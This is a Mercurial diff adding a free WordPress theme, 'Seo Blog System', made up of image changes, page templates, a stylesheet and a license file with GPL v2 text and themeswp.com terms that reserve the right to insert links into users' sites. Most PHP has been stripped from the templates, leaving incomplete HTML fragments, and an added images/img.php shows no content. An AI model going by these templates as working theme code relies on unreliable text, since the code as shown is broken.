web/wp-content/themes/seoblogsystem/images/box-more01.gif Binary file web/wp-content/themes/seoblogsystem/images/box-more01.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-more02.gif Binary file web/wp-content/themes/seoblogsystem/images/box-more02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-more03.gif Binary file web/wp-content/themes/seoblogsystem/images/box-more03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-more04.gif Binary file web/wp-content/themes/seoblogsystem/images/box-more04.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-text01.gif Binary file web/wp-content/themes/seoblogsystem/images/box-text01.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-text02.gif Binary file web/wp-content/themes/seoblogsystem/images/box-text02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-text03.gif Binary file web/wp-content/themes/seoblogsystem/images/box-text03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box-text04.gif Binary file web/wp-content/themes/seoblogsystem/images/box-text04.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box01.gif Binary file web/wp-content/themes/seoblogsystem/images/box01.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box02.gif Binary file web/wp-content/themes/seoblogsystem/images/box02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box03.gif Binary file web/wp-content/themes/seoblogsystem/images/box03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/box04.gif Binary file web/wp-content/themes/seoblogsystem/images/box04.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/corner-left-bot.gif Binary file web/wp-content/themes/seoblogsystem/images/corner-left-bot.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/corner-left-top.gif Binary file web/wp-content/themes/seoblogsystem/images/corner-left-top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/corner-right-bot.gif Binary file web/wp-content/themes/seoblogsystem/images/corner-right-bot.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/corner-right-top.gif Binary file web/wp-content/themes/seoblogsystem/images/corner-right-top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/date.gif Binary file web/wp-content/themes/seoblogsystem/images/date.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/description.gif Binary file web/wp-content/themes/seoblogsystem/images/description.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/img.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/images/img.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/logo.gif Binary file web/wp-content/themes/seoblogsystem/images/logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/marker.gif Binary file web/wp-content/themes/seoblogsystem/images/marker.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/menu-left.gif Binary file web/wp-content/themes/seoblogsystem/images/menu-left.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/menu-right.gif Binary file web/wp-content/themes/seoblogsystem/images/menu-right.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/older-entries.gif Binary file web/wp-content/themes/seoblogsystem/images/older-entries.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/search-bg.gif Binary file web/wp-content/themes/seoblogsystem/images/search-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/search.gif Binary file web/wp-content/themes/seoblogsystem/images/search.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/submit.gif Binary file web/wp-content/themes/seoblogsystem/images/submit.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/ver.gif Binary file web/wp-content/themes/seoblogsystem/images/ver.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-bg.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-bg02.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-bg02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-bot.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-bot.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-bot02.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-bot02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-bot03.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-bot03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-marker01.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-marker01.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-marker02.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-marker02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-marker03.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-marker03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-more.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-more.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-bg.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-bot.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-bot.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-top-meta.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-top-meta.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-top.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-top02.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-top02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/widget-title-top03.gif Binary file web/wp-content/themes/seoblogsystem/images/widget-title-top03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ + + + + + + + +
    id="post-" style=" float:none; "> + +
    +
    +
    + +
    +

    + +
    + posted by +
    + +
    + +
    + +
    + + '); ?> +
    + +
    + +
    + +
    +
    +
    + +
    + + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,27 @@ + + + + + +
    +
    +
    +
    + +
    +

    +
    + +
    + Read the rest of this page »

    '); ?> +
    + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> +
    +
    +
    +
    +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/screenshot.png Binary file web/wp-content/themes/seoblogsystem/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,77 @@ + + + + + + +

    Search results

    + + + + +
    id="post-" style=" width:auto;"> +
    +
    +
    + + +
    + +

    + +
    + posted by +
    + +
    + +
    + +
    + + '); ?> +
    + + + + +
    + +
    +
    +
    + + + + + + + + + + +

    Search result

    + +
    + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/searchform.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/searchform.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +
    + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/sidebar-1.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/sidebar-1.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,78 @@ +
    + + + + + + + + +

    You are currently browsing the archives for the category.

    + + +

    You are currently browsing the blog archives + for the day .

    + + +

    You are currently browsing the blog archives + for .

    + + +

    You are currently browsing the blog archives + for the year .

    + + +

    You have searched the blog archives + for ''. If you are unable to find anything in these search results, you can try one of these links.

    + + +

    You are currently browsing the blog archives.

    + + + + + + + +
    +
    +

    +
    +
      + +
    +
    + +
    +
    +

    +
    +
      + +
    +
    + +
    +
    +

    +
    + +
    + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/sidebar-2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/sidebar-2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ +
    + + + + +
    +
    +

    +
    +
    +

    +

    +
    + +
    + + + 3, 'what_to_show' => 'posts', 'nopaging' => 0, 'post_status' => 'publish', 'caller_get_posts' => 1)); + if ($r->have_posts()) : + ?> + + + +
    +
    +

    +
    + +
      + have_posts()) : $r->the_post(); ?> +
    • + + + +
    • + + +
    + +
    +
    +
    04.03.2009
    +
    An internet marketing & SEO company that delivers results
    + +
    +
    +
    04.03.2009
    +
    Simple & FREE password management
    + +
    +
    +
    04.03.2009
    +
    On-Site SEO that Works
    + +
    +
    +
    + + + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,77 @@ + + + + + + +
    id="post-"> +
    +
    +
    + +
    + + +

    + +
    + posted by +
    + +
    + +
    + +
    + + '); ?> +
    + + + + + +
    +
    +
    + + + +
    + +

    Sorry, no posts matched your criteria.

    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,518 @@ +/* + Theme Name: Seo Blog System + Theme URI: http:/www.project-theme.com + Description: A theme from project-theme.com Collection + Version: 2.7 + Author: Project Theme + Author URL: http://www.project-theme.com +*/ + +* { padding:0; margin:0;} + html { font-size:100.01%;} + body { font-size:62.5%; font-family: Georgia, Times, serif, Arial, Helvetica, sans-serif; background:#b7b6ae; color:#2e2d27;} + +.clear { clear: both;} + + table, td, div, img { border:0; border-collapse:collapse;} + td {vertical-align:top;} + ul, li { list-style: none;} + p { padding:0px 0px 18px 0px;} + +a, .comments a:hover {text-decoration: underline; color:#bb3521;} +a:hover, .comments a {text-decoration: none;} + + input, select, textarea { vertical-align:middle; font-family: Georgia; font-size:12px; color:#6f6f6f;} + input.text, select, textarea { padding:2px 0px 3px 6px; border:1px solid #cac6ab;} + + html body textarea { font-family: Georgia; font-size:12px; color:#6f6f6f;} + +/*** Main ***/ + .main { /*width:expression(((document.documentElement.clientWidth || document.body.clientWidth) < 980)? "980px" : "100%"); min-width:980px;*/} + .main { } + + .header { position:relative; overflow:hidden; background:#fff; border-bottom:1px solid #b7b6ae;} + + .navigation-top { background:#f1f0e7; height:100%; overflow:hidden;} + .navigation-bot { width:906px; margin:0 auto;} + + .header-width {width:906px; margin:0 auto;} + + .banner { float:left; padding:23px 17px 41px 0px; _padding-right:13px} + .banner p { padding:0px 0px 0px 0px;} + + .box { float:left; padding:23px 0px 0px 0px;} + + .box .box-width { float:left; width:163px; margin:0px 0px 0px 4px;} + + .box .box01 { background:url(images/box01.gif) no-repeat 0 0;} + .box .box02 { background:url(images/box02.gif) no-repeat 0 0;} + .box .box03 { background:url(images/box03.gif) no-repeat 0 0;} + .box .box04 { background:url(images/box04.gif) no-repeat 0 0;} + + .box .indent { padding:0px 0px 0px 0px;} + + .box .title { margin:0px 17px 0px 16px; padding:18px 0px 4px 0px;} + + .box .box01 .title { border-bottom:1px solid #dd7d6e;} + .box .box02 .title { border-bottom:1px solid #dfb65a;} + .box .box03 .title { border-bottom:1px solid #a8c06d;} + .box .box04 .title { border-bottom:1px solid #69a985;} + + .box .text { font-size:12px; color:#fff; line-height:1.4em; padding:16px 17px 0px 19px;} + .box .text p { padding:0px 0px 0px 0px;} + .box .more { text-align:right; padding:15px 6px 0px 0px; *padding-top:14px; } + + @-moz-document url-prefix(){ body .box .more { padding-top:12px; } } /*for mozilla*/ + + @media all and (-webkit-min-device-pixel-ratio:10000), + not all and (-webkit-min-device-pixel-ratio:0) { + .box .more { padding:11px 6px 0px 0px; } + } + +/*** Menu ***/ + .main-menu { clear:both; overflow:hidden; border:solid #acaba5; border-width:1px 0;} + .main-menu-border { border:solid #fff; border-width:1px 0; background:#b7b6ae;} + .menu { width:906px; margin:0 auto; overflow:hidden;} + + .menu ul { list-style:none; width:100%; overflow:hidden;} + .menu ul li { float:left; height:100%; background:url(images/ver.gif) no-repeat 0 0; margin:0px 0px 0px -2px; padding:0px 5px 0px 5px;} + + .menu ul li a { display:block; float:left; overflow:hidden; text-decoration:none;} + .menu ul li a { font-size:1.2em; font-weight: bold; color:#2e2d27; cursor: pointer;} + .menu ul li span { display:block; float:left; padding:15px 35px 14px 35px;} + + .menu ul li a:hover {background:url(images/menu-left.gif) no-repeat 0 7px;} + .menu ul li a:hover span { padding:15px 35px 13px 35px;} + .menu ul li a:hover span {background:url(images/menu-right.gif) no-repeat right 7px;} + + .menu ul li a:hover, .menu ul li.current_page_item a { color:#fff; font-weight: bold;} + + .menu ul li.current_page_item a {background:url(images/menu-left.gif) no-repeat 0 7px;} + .menu ul li.current_page_item a span { padding:14px 32px 13px 32px;} + .menu ul li.current_page_item a span {background:url(images/menu-right.gif) no-repeat right 7px;} + +/*** Logo ***/ + .logo {} + .logo .indent { padding:30px 0px 18px 0px; overflow:hidden; height:100%;} + .logo h1 { width:225px; height:50px; float:left; margin:0px 17px 0px 0px; background:url(images/logo.gif) no-repeat 0 0; font-size:1em; font-weight: normal; color:#fff; cursor:pointer; text-indent:-1000em; overflow:hidden;} + .logo h1:hover { text-decoration:none;} + .description { float:left; width:253px; height:26px; margin:20px 0px 0px 0px; background:url(images/description.gif) no-repeat 0 0; font-size:1em; font-weight: normal; color:#fff; text-indent:-1000em; overflow:hidden;} + + +/*** Search ***/ + .search { float:right; padding:50px 0px 0px 0px;} + .search form { background:url(images/search-bg.gif) no-repeat 0 1px; padding:0px 0px 2px 0px;} + .search .text { width:160px; padding:3px 0px 4px 6px; color:#000; border:0; background: transparent; margin:0px 11px 0px 0px;} + .search .but { cursor: pointer;} + + .search_page { float:left; padding:20px 0px 0px 0px;} + +/*** Column ***/ + .content { clear:both; overflow:hidden; border-top:1px solid #fff; background:#deddd5; padding:0px 0px 5px 0px;} + .content-width { width:906px; margin:0 auto; padding:23px 0px 0px 0px;} + + .column-left { width:238px; float:left; margin:0px 4px 0px 0px; _margin-right:1px;} + .column-right { width:238px; float:right; margin:0px 0px 0px 4px; _margin-left:1px;} + +/*** Widgets ***/ + .widget { height:100%; overflow:hidden; width:100%; background:url(images/widget-bg.gif) repeat-y 0 0 #f1f0e7; margin:0px 0px 4px 0px;} + .widget-bg { background:url(images/widget-bot.gif) no-repeat 0 bottom; padding:0px 0px 17px 0px; overflow:hidden; height:100%;} + + .widget .title { height:100%; background:url(images/widget-title-top.gif) no-repeat 0 0 #b7b6ae; padding:0px 